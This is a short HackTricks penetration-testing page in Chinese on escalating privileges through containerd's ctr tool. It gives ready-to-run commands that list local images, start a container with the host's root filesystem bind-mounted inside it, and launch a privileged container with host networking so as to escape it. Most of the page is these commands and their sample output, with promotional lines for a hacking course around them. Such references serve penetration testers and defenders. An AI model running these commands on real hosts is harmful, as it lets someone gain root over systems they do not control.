Containerd (ctr) Privilege Escalation

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)

支持HackTricks的其他方式:

基本信息

转到以下链接了解containerdctr是什么:

page2375, 2376 Pentesting Docker

PE 1

如果您发现主机包含ctr命令:

which ctr
/usr/bin/ctr

您可以列出图像:

ctr image list
REF                                  TYPE                                                 DIGEST                                                                  SIZE      PLATFORMS   LABELS
registry:5000/alpine:latest application/vnd.docker.distribution.manifest.v2+json sha256:0565dfc4f13e1df6a2ba35e8ad549b7cb8ce6bccbc472ba69e3fe9326f186fe2 100.1 MiB linux/amd64 -
registry:5000/ubuntu:latest application/vnd.docker.distribution.manifest.v2+json sha256:ea80198bccd78360e4a36eb43f386134b837455dc5ad03236d97133f3ed3571a 302.8 MiB linux/amd64 -

然后运行其中一个镜像,将主机根文件夹挂载到其中

ctr run --mount type=bind,src=/,dst=/,options=rbind -t registry:5000/ubuntu:latest ubuntu bash

PE 2

以特权模式运行容器并从中逃逸。 您可以这样运行特权容器:

ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash

然后,您可以使用以下页面中提到的一些技术来滥用特权功能逃离其中

pageDocker Security
从零开始学习AWS黑客技术,成为专家 htARTE (HackTricks AWS Red Team Expert)

支持HackTricks的其他方式:

最后更新于